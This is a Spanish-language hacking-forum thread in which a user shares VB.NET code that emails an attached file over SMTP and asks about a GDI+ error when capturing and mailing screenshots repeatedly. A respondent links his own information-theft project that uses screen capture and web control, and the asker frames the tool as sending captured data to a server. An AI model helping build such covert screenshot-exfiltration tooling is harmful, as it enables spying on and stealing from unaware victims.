Ise esto!!!----->>>> pero quiero que cuando se envie el mensaje se cierre la conexion SMTP, como hago eso???!!!!------!
Dim _SMTP As New System.Net.Mail.SmtpClient
Dim _Message As New System.Net.Mail.MailMessage()
_SMTP.Credentials = New System.Net.NetworkCredential("XXXXX@live.com", "XXXXXXXX")
_SMTP.Host = "smtp.live.com"
_SMTP.Port = 587
_SMTP.EnableSsl = True
' CONFIGURACION DEL MENSAJE
_Message.[To].Add("XXXXXXX@live.com") 'Cuenta de Correo al que se le quiere enviar el e-mail
_Message.From = New System.Net.Mail.MailAddress("XXXXXX@live.com", "Test", System.Text.Encoding.UTF8) 'Quien lo envía
_Message.Subject = "XXXXXXX" 'Sujeto del e-mail
_Message.SubjectEncoding = System.Text.Encoding.UTF8 'Codificacion
_Message.BodyEncoding = System.Text.Encoding.UTF8
_Message.Priority = System.Net.Mail.MailPriority.Normal
_Message.IsBodyHtml = False
Dim _File As String = "..\prueba.txt" 'archivo que se quiere adjuntar
Dim _Attachment As New System.Net.Mail.Attachment(_File, System.Net.Mime.MediaTypeNames.Application.Octet)
_Message.Attachments.Add(_Attachment)
_SMTP.Send(_Message)
MessageBox.Show("Correo enviado!", "Correo", MessageBoxButtons.OK, MessageBoxIcon.Information)
No necesitas cerrar la conexion, no recuerdo algun code que tuviera que cerrar la conexion luego de que envia el mail.
Para smtp.live.com el .Port era = 25 para smtp.gmail.com era = 587
Cita de: genomma en 7 Julio 2010, 11:21 AM
Ise esto!!!----->>>>
Pretérito perfecto simple o Pretérito: "Hice" http://buscon.rae.es/draeI/SrvltGUIVerbos?origen=RAE&IDVERBO=6909 (http://buscon.rae.es/draeI/SrvltGUIVerbos?origen=RAE&IDVERBO=6909)
Para que el código sea más fácil de leer, por favor ponlo entre las equitetas:
[ code=csharp]
Tu código acá..
[/code ]
PD: Se me olvidó de nuevo como poner las etiquetas de geshi sin que sean procesadas.. xD Si alguien me acuerda, gracias.
Cita de: 43H4FH44H45H4CH49H56H45H en 7 Julio 2010, 14:07 PM
No necesitas cerrar la conexion, no recuerdo algun code que tuviera que cerrar la conexion luego de que envia el mail.
Para smtp.live.com el .Port era = 25 para smtp.gmail.com era = 587
25 lo probé y jamás me conectó, usé el 587 para smtp.live.com y me funcionó biien!--
La razón por la que preguntaba como cerrar la conexion SMTP es porque esta funcion esta asocidad al evio de un archivo (prueba.png)
el archivo "prueba.png" lo obtengo haciendo ésto:
imgPantalla.Image = GetScreenCapture()
despues lo envio por medio de SMTP:
La cada que ejecuto esta funcion genera la imagen y la envia por mail--- la primera vez lo hace sin ningun problema, pero la segunda vez que trata de volver a generar la imagen me dise "Error generico en GDI+"!!!------->>>Yo suponia que era porque debia cerrar la conexion despues en enviar el archivo--!!!!!
Dim _File As String = "..\prueba.png" 'archivo que se quiere adjuntar
Dim _Attachment As New System.Net.Mail.Attachment(_File, System.Net.Mime.MediaTypeNames.Application.Octet)
_Message.Attachments.Add(_Attachment)
El año pasado trabaje con smtp.live.com y especificaba su funcion con el port 25, ya me dio curiosidad al llegar a casa lo pruebo :P
Respecto a lo que tratas de hacer te dejo un ejemplo que hice hace tiempo acerca de las capturas y el envio por mail:
Explicación
http://foro.elhacker.net/analisis_y_diseno_de_malware/intellisense_control_via_web_robo_de_informacion-t255155.0.html
Descarga del proyecto
http://www.4shared.com/file/106746397/2040d87e/IntelliSense.html
Esta en C# pero puedes ver como trabajaba.
Cita de: 43H4FH44H45H4CH49H56H45H en 7 Julio 2010, 23:58 PM
El año pasado trabaje con smtp.live.com y especificaba su funcion con el port 25, ya me dio curiosidad al llegar a casa lo pruebo :P
Respecto a lo que tratas de hacer te dejo un ejemplo que hice hace tiempo acerca de las capturas y el envio por mail:
Explicación
http://foro.elhacker.net/analisis_y_diseno_de_malware/intellisense_control_via_web_robo_de_informacion-t255155.0.html
Descarga del proyecto
http://www.4shared.com/file/106746397/2040d87e/IntelliSense.html
Esta en C# pero puedes ver como trabajaba.
Ya lo descargué, lo ví y lo analizé.-- FTP y SMTP funcionan de manera similar, al menos aki el plan es enviar la informacion al servidor y ambos servicios pueden usarse para lograr el objetivo.-!
Te libero mi proyecto para que lo analizes mas a fondo si lo deseas.-!!!???? y me ayudes un poko kon ésto--!!!
Genomma@live.com